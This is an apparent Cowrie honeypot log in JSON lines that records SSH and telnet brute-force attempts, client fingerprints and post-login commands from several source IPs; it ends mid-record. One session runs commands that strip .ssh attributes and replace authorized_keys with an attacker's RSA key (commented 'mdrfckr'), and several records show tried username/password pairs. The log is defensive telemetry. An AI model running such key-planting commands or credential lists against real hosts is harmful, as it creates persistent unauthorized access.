{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:50.015105Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"ZAQ!2wsx","message":"login attempt [oracle/ZAQ!2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:51.221534Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:51.742478Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:51.745190Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:51.747615Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:52.021447Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:52.562877Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:52.567091Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:52.822636Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:52.826864Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":41498,"dst_ip":"10.17.0.5","dst_port":22,"session":"068011ff002d","protocol":"ssh","message":"New connection: 103.106.188.32:41498 (10.17.0.5:22) [session: 068011ff002d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:53.112245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:53.118186Z","src_ip":"103.106.188.32","session":"068011ff002d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:53.359049Z","src_ip":"103.106.188.32","session":"068011ff002d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:54.516615Z","src_ip":"103.106.188.32","session":"068011ff002d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:55.820093Z","src_ip":"103.106.188.32","session":"068011ff002d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":42406,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f5e98e4e69","protocol":"ssh","message":"New connection: 103.106.188.32:42406 (10.17.0.5:22) [session: 04f5e98e4e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:56.111529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:56.115902Z","src_ip":"103.106.188.32","session":"04f5e98e4e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:57.126255Z","src_ip":"103.106.188.32","session":"04f5e98e4e69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:58.012734Z","src_ip":"103.106.188.32","session":"04f5e98e4e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:58.217647Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:58.222883Z","src_ip":"103.106.188.32","session":"04f5e98e4e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00487947463989,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:08.956989Z","src_ip":"37.52.61.49","session":"476e55c0b027","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":34092,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf4e8725848","protocol":"telnet","message":"New connection: 37.52.61.49:34092 (159.203.135.109:23) [session: cdf4e8725848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:09.706487Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":34276,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f802d98630","protocol":"telnet","message":"New connection: 37.52.61.49:34276 (159.203.135.109:23) [session: 07f802d98630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:11.885519Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":34470,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffb86bd2d5ea","protocol":"telnet","message":"New connection: 37.52.61.49:34470 (159.203.135.109:23) [session: ffb86bd2d5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:13.814794Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":42874,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eb49191f5d0","protocol":"ssh","message":"New connection: 209.99.189.177:42874 (10.17.0.5:22) [session: 6eb49191f5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:16.875347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:16.881150Z","src_ip":"209.99.189.177","session":"6eb49191f5d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:17.018101Z","src_ip":"209.99.189.177","session":"6eb49191f5d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uatuser","password":"uatuser","message":"login attempt [uatuser/uatuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:17.577781Z","src_ip":"209.99.189.177","session":"6eb49191f5d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:18.714075Z","src_ip":"209.99.189.177","session":"6eb49191f5d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":58064,"dst_ip":"10.17.0.5","dst_port":22,"session":"87c19894ee51","protocol":"ssh","message":"New connection: 46.24.47.94:58064 (10.17.0.5:22) [session: 87c19894ee51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:23.884606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:23.895608Z","src_ip":"46.24.47.94","session":"87c19894ee51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:24.003072Z","src_ip":"46.24.47.94","session":"87c19894ee51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shelby","message":"login attempt [root/shelby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:24.457720Z","src_ip":"46.24.47.94","session":"87c19894ee51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:25.566379Z","src_ip":"46.24.47.94","session":"87c19894ee51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.187.176.147","src_port":55846,"dst_ip":"10.17.0.5","dst_port":22,"session":"c359b326e7cd","protocol":"ssh","message":"New connection: 194.187.176.147:55846 (10.17.0.5:22) [session: c359b326e7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:29.634768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:29.640452Z","src_ip":"194.187.176.147","session":"c359b326e7cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:29.739939Z","src_ip":"194.187.176.147","session":"c359b326e7cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:30.042204Z","src_ip":"194.187.176.147","session":"c359b326e7cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":33980,"dst_ip":"159.203.135.109","dst_port":23,"session":"719d6b222592","protocol":"telnet","message":"New connection: 64.41.88.162:33980 (159.203.135.109:23) [session: 719d6b222592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:40.656804Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.64.168.136","src_port":51412,"dst_ip":"10.17.0.5","dst_port":22,"session":"06ef75130547","protocol":"ssh","message":"New connection: 143.64.168.136:51412 (10.17.0.5:22) [session: 06ef75130547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:46.268433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:40:46.272404Z","src_ip":"143.64.168.136","session":"06ef75130547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2